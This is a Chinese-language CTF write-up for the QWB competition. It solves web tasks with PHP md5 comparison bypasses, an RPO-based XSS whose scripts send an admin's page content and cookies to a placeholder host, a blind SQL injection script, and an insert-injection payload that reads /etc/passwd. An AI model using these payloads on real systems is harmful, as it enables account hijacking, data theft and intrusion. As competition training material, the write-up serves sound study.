强网杯-writeup

强网杯WP

赶个头条,写的比较粗略,各位师傅别嫌弃哈
MISC

签到

签到得flag

welcome

这题下载下来一个bmp文件,尝试最低位隐写无果后,尝试offset,最后在offset600多位后找到flag


WEB

web签到

第一层

1
2
3
4
5
<!--
if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])==md5($_POST['param2'])){
die("success!");
}
-->

这里可以用2个字符串绕过

1
param1=240610708&param2=QNKCDZO

第二层

1
2
3
4
5
<!--
if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!");
}
-->

使用了强等于,那么使用数组绕过

1
param1[]=1&param2[]=2

第三层

1
2
3
4
5
<!--
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!);
}
-->

使用了强制字符串转化
一番谷歌后发现这是去年BKPCTF改的一道题
payload如下:

1
2
3
Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

Share your mind

这题必须要写一下自己的踩坑经历,首先进去浏览一下页面功能,有个提交bug页面的地方,还有个可以新建文章的地方

最后就是浏览文章(但是只能浏览自己发的文章),首先想到的就是xss+csrf,新建一个文章引用一段JS然后发给bot,然后ajax请求admin的文章发回来。可是按照这个思路我们发现在新建文章页面我们的<>被过滤了,所以我们不能直接构造一个js。猜想能不能在report页面里进行xss,但是发现存在过滤,只能像自己网站的地址发起请求,但是”居然”可以绕过!!!!!!,payload:

1
http://39.107.33.96:20000/index.php/report/<script src="xxxxxx.com"></script>

于是无尽的踩坑之旅开始了,首先是bot返回结果没有cookie,一开始也没在意以为设置了httponly,(后来大致明白bot过程了,先check url-未读,然后add_cookie-已读,这里直接用<script>标签其实是在add_cookie之前就返回了所以不带cookie)让他AJAX请求访问admin的文章,代码如下

1
2
3
4
5
var a = new XMLHttpRequest();
a.open('GET', 'index.php/view/article/1', false);
a.send(null);
b = a.responseText;
(new Image()).src = 'http://xxxxx/?flag=' + escape(b);

结果bot返回结果是未登录,然后我就很懵逼,后来给了hint1:phantomjs/2.1.1结果这提示给了以后我就以为是日bot,各种谷歌找2.1.1的漏洞,一直到下午出了hint2:漏洞点不在report…推翻了一个下午的努力成果。一直到晚上我才想起来index页面有一个../static/js/bootstrap.min.js的相对路径引用

想起来寒假时候看的rpo,关于rpo的原理这里不想赘述了,给个连接
https://open.appscan.io/article-462.html
这里文章查看页面没有引用DOCTYPE html,所以存在rpo漏洞,新建一个文章,文章title为空(title不为空的时候会添加一个<h1>标签导致浏览器解析js的时候报错

内容输入js代码比如alert(1)

然后访问这

1
http://39.107.33.96:20000/index.php/view/article/635/..%2f..%2f..%2f..%2findex.php


把635替换成你的文章代码,这里对于服务器来说访问的是

1
http://39.107.33.96:20000/index.php

但是对于浏览器来说他访问的就是

1
http://39.107.33.96:20000/index.php/view/article/635/..%2f..%2f..%2f..%2findex.php

然后这个时候浏览器会发起js请求去请求原本index.php会加载的../static/js/bootstrap.min.js就是向

1
http://39.107.33.96:20000/index.php/view/article/635/..%2f..%2f..%2f..%2findex.php/../static/js/bootstrap.min.js

相当于

1
http://39.107.33.96:20000/index.php/view/article/635/static/bootstrap.min.js

这里访问的结果和访问

1
http://39.107.33.96:20000/index.php/view/article/635/

也就是你的文章的内容是一样的(不明白的可以自己本地测试),不同的是浏览器是以js引擎去解析你的文章的,也就是会把你的文章当成一段js去执行。所以这里就可以绕过<>的过滤执行xss了。
所以我们新建一个文章内容为

1
2
3
var a = new XMLHttpRequest();
a.open('GET', 'yourvpsip', false);
a.send(null);

然后用浏览器访问

1
http://39.107.33.96:20000/index.php/view/article/22957/..%2f..%2f..%2f..%2findex.php

然后这里发现居然没有发起请求,查看源码发现是过滤了"',然后我就自作聪明的用反引号,然后我就陷入了无尽的玄学道路,我发现本地浏览器,vsp就可以收到请求

但是提交给bot就收不到请求,然后我就一直在这里卡了超级长的时间,期间还问了出题人,bot等问题…直到晚上用String.fromCharCode才解决了这个玄学问题(这个点真心卡了我好久),后面就比较简单了收到请求后发现cookie有提示

联想到国赛的一道读取子目录cookie的题目https://www.lorexxar.cn/2017/07/11/guosai2017/脚本拿来改了改就可以get子目录cookie了

1
2
3
4
5
6
7
8
9
10
11
var iframe = document.createElement("iframe");
iframe.src = "/QWB_f14g/QWB";
iframe.id = "frame";
document.body.appendChild(iframe);
iframe.onload = function (){
var c = document.getElementById('frame').contentWindow.document.cookie;
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//xxx/?" + c);
document.head.appendChild(n0t);
}

然后把所有引号之间的内容用String.fromcode()编码一下

Three hit

进去后发现功能很少,猜测二次注入,发现username有正则限制,那么测试age,发现必须整数,这里可以用16进制绕过,测试一番后发现是个盲注



找了个脚本改了下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import binascii
url_register = "http://39.107.32.29:10000/index.php?func=register"
url_login = "http://39.107.32.29:10000/index.php?func=login"
result = '[*]result:'
for i in range(1, 65):
for j in range(32, 127):
age = "1223 or ascii(substr((select flag from flag limit 1),{0},1))={1}#".format(str(i), str(j))
age = binascii.hexlify(bytes(age, 'utf8'))
age = "0x" + str(age, "utf8")
username = "pupiles{0}{1}".format(str(i), str(j))
data = {
"username": username,
"password": "123456",
"age": age
}
while True:
try:
resp1 = requests.post(url=url_register, data=data, allow_redirects=False)
break
except Exception as e:
continue
while True:
try:
resp2 = requests.post(url=url_login, data=data, allow_redirects=True)
if "<a>123</a>" in resp2.text:
result += chr(j)
print(result)
break
except Exception as e:
continue

盲注跑出flag

Python is the best language 1

一道flask审计题

页面功能大致有个留言功能,猜测是xss或者sql注入,直接定位代码关键部分

1
2
3
class PostForm(FlaskForm):
post = StringField('Say something', validators=[DataRequired()])
submit = SubmitField('Submit')

这里直接接受post参数,然后查看是如何添加到数据库的

1
2
3
4
form = PostForm()
if form.validate_on_submit():
res = mysql.Add("post", ['NULL', "'%s'" % form.post.data,
"'%s'" % current_user.id, "'%s'" % now()])

跳转到Add定义处

1
2
3
4
5
6
7
8
9
10
11
def Add(self, tablename, values):
sql = "insert into " + tablename + " "
sql += "values ("
sql += "".join(i + "," for i in values)[:-1]
sql += ")"
try:
self.db_session.execute(sql)
self.db_session.commit()
return 1
except:
return 0

看到这里发现并有进行任何过滤,存在一个insert注入
payload

1
123456',1,'2018-03-24T21:44:39Z'),(NULL,(select conv(hex(substr(load_file('/etc/passwd'),1,6)),16,10)),2,'2018-03-24T21:44:39Z')#

会返回数据库信息,当时忘记截图,然后我发现这题有个bug,就是flag必须要从留言板中回显,也就是说你能看到别人也能看到。导致后面好多队伍直接从留言板获得了flag

赛后总结

怎么说呢,这次比赛题目质量非常的好,同时也让我学到非常多的东西,首先就是那道rpo题目,在那个反引号无法过滤的点我卡了将近有3个小时时间,其实我当时如果下载个phantomjs自己跑的话可能一会就能查出问题,说白了以后做CTF绝对不能懒,该搭建的环境一定要搭。还有遇到自己不会的知识点千万不能放弃,就像这次的flask1,其实是一个很简单的注入,对于flask的理解其实并不是很高,只要学习个几个小时就足以应付这道题,所以对于这道题来说不会flask并不是做不出来的理由,这就表示我们不能总是把希望寄托于CTF竞赛中总会出我们见过的套路,善于学习才是提高CTF竞赛能力的最快捷径。最后就是和协会小伙伴们一起打比赛的感觉真的很开心,还是那句话,重要的是过程不是结果。